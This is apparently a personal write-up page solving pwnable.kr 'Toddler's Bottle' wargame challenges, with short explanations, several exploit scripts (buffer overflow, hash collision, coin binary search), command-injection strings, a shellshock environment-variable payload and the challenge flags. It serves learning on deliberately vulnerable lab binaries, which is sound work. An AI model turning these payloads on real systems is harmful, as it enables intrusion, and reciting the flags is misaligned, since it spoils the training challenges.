Avishai's CTF Writeups

...

View on GitHub

← Back to pwnable.kr

##s for the Toddlers_bottle wargame from Pwnable.kr.

blackjack

in this challenge, it checks if the bet is bigger than the cash. however, i can give it negative number, it will pass the check, and when i’ll loose it will do so: cash = cash - bet, which give me a lot of money.

for example, i gave -100000000000

image

Flag: YaY_I_AM_A_MILLIONARE_LOL

Next Level Writeup

blukat

i saw that it doesn’t check whether it can open the file. When it fails, it submit this string to password: cat: password: Permission denied (with \n) Let’s try give this as password. It works!

image

Flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!

Next Level Writeup

bof

this is simple buffer overflow, notice it takes us 52 bytes till we reach the arguments pass to the function, which is where 0xdeadbeef is stored.

#!/usr/bin/python3 
import sys
import struct

def p32(x):
    return struct.pack("<I", x)

key = 0xcafebabe

payload = b'a' * 52
payload += p32(key)
payload += b'\n'

sys.stdout.buffer.write(payload)

and run this line (./bof.py ;cat) | nc pwnable.kr 9000

image

Flag: daddy, I just pwned a buFFer :)

Next Level Writeup

cmd1

here we need to read the flag, but can’t use some strings, as sh flag and tmp

so, first we’ll enter our tempdir, then create link to flag ln -sf ~/flag pass, and lastly execute the cmd1: ~/cmd1 "/bin/cat pass"

image

Flag: mommy now I get what PATH environment is for :)

Next Level Writeup

cmd2

this is more complicated level. here we use this input:

./cmd2 "cd ..; cd ..; pwd; \$(pwd)bin\$(pwd)cat \$(pwd)home\$(pwd)cmd2\$(pwd)fl*"

first, we cd into /. then, we execute this command: /bin/cat /home/cmd2/fl*, by taking each time our current directory with pwd, which gives us /.

by this way we can build our command.

image

Flag: FuN_w1th_5h3ll_v4riabl3s_haha

Next Level Writeup

coin

in this challenge we need to do binary search, multiple times, until we answer to all of the questions.

from pwn import *
import re

def check(p, left, right):
    payload=  " ".join(map(str, range(left,right))) + '\n'
    p.send(payload)
    answer = p.recv().decode()
    if "Correct" in answer:
        print("coin is {}\n".format(payload))
        return -1

    answer_int = int(answer)
    # if answer_int==9:
    #     # p.send(payload)
    return answer_int/10 < (right-left)    

# Connection details
# host = 'pwnable.kr'
host = 'localhost'
port = 9007

# context.log_level = 'debug'

# Establish a remote connection
p = remote(host, port)

# p.recvuntil('- Ready? starting in 3 sec... -')
# p.recv() # get all begin data

# line = p.recv() # N=734 C=10

# # Regular expression to extract N and C values
# match = re.search(r'N=(\d+)\s+C=(\d+)', line.decode())

# if not match:
#     print("Could not extract N and C values from the received data.")
#     exit(1)

# N = int(match.group(1))  # Extract the first group (N)
# C = int(match.group(2))  # Extract the second group (C)
# # print(f"N={N}, C={C}")
# print("N={0}, C={1}".format(N,C))

# low = 0
# big = N
# binary search algorithm

p.recv() # get all begin data
# p.recv()

while True:
    line = p.recv() # N=734 C=10
    
    if "flag" in line.decode():
        print(line.decode())
        break

    # Regular expression to extract N and C values
    match = re.search(r'N=(\d+)\s+C=(\d+)', line.decode())

    if not match:
        print("Could not extract N and C values from the received data.")
        exit(1)

    N = int(match.group(1))  # Extract the first group (N)
    C = int(match.group(2))  # Extract the second group (C)

    print("N={0}, C={1}".format(N,C))
    left, right = 0, N - 1  # Initialize the search bounds
    
    while left <= right:
        mid = (left + right) / 2  # Find the midpoint
        res = check(p, left, mid)
        if res==-1: # Found first coin
            break 
        elif res==1: # Target in in left half
            right = mid+1
        else: # Target in right half
            left = mid



p.close()
# p.sendline('15')
# p.recv()
# p.sendline('92')

#  p.log("send values")


image

Flag: b1NaRy_S34rch1nG_1s_3asy_p3asy

Next Level Writeup

collision
#!/usr/bin/python3 
import sys
import struct

def p32(x):
    return struct.pack("<I", x)

hashcode = 0x21DD09EC

junk = 0x01010101

payload = p32(junk)
payload += p32(junk)
payload += p32(junk)
payload += p32(junk)
payload += p32(hashcode - 4 * junk)

sys.stdout.buffer.write(payload)

image

Flag: daddy! I just managed to create a hash collision :)

Next Level Writeup

fd

in this challenge the file-descriptor will be our input minus 0x1234. so, let’s give it 0x1234+1 = 4661, and this will make the file-descriptor to be 1, which is stdin. Then, we will give the desired input LETMEWIN and that’s it.

image

Flag: mommy! I think I know what a file descriptor is!!

Next Level Writeup

flag

first i used strings on the file, and found it compressed with UPX32. then, i decompressed it using upx, upx -d flag. lastly, i debugged the program using radare2 and viewed the flag.

image

Flag: UPX...? sounds like a delivery service :)

Next Level Writeup

lotto

in this challenge the lotto process isn’t so good, it uses double for-loop and this reduce our brute force to only 45 options.

{% include_relative scripts/lotto/lotto.py %}

image

Flag: sorry mom... I FORGOT to check duplicate numbers... :(

Next Level Writeup

mistake

in this challenge the error lies in the fact it reads the password from stdin, because the compare happens before the assignment when it opens the password file for reading.

{% include_relative scripts/mistake/mistake.py %}

image

Flag: Mommy, the operator priority always confuses me :(

Next Level Writeup

passcode

in this level we exploit the fact we can fill the stack with our data, then we can change the address of passcode1. so, we choose what will be the memory in this place, and also what will be the content.

in this case, i chose the put the memory of the exit_plt, and override it with the memory where we print the flag image

{% include_relative scripts/passcode/passcode.py %}

you might need to adjust the addresses.

image

Flag: Sorry mom.. I got confused about scanf usage :(

Next Level Writeup

random

here is using rand(), without setting the seed using srand(). so, it means it uses the default seed and this will always give the same sequence. as you can see, it always give the same value, 0x6b8b4567 image

now, we need to give in int this value: 0xdeadbeef ^ 0x6b8b4567, which gives us 3039230856

Flag: Mommy, I thought libc random is unpredictable...

Next Level Writeup

shellshock

in this level we exploit the bug of shellshock, which runs unintentionally code that is found after func declaration inside env variables.

export env_var='() { echo "regular stuff"; }; cat flag'

image

Flag: only if I knew CVE-2014-6271 ten years ago..!!

Next Level Writeup

uaf

here we exploit the fact we delete Man and Woman, and manage to put our code inside the grave of Man and Woman. Then, when we’ll call it’s introduce function, it will execute shell.

{% include_relative scripts/uaf/payload.py %}

we will give as input this values:

3 (for free)
2 (for put our payload once)
2 (for put our payload twice)
1 (for calling "introduce")

image

Flag: yay_f1ag_aft3r_pwning

Next Level Writeup

unlink

in this challenge we used the way it return from the main, and build the payload.

we inject in the stack, where ecx will get the address from. then, we make sure that we put the shell function address in [ecx-4].

{% include_relative scripts/unlink/unlink.py %}

image

Flag: conditional_write_what_where_from_unl1nk_explo1t

Next Level Writeup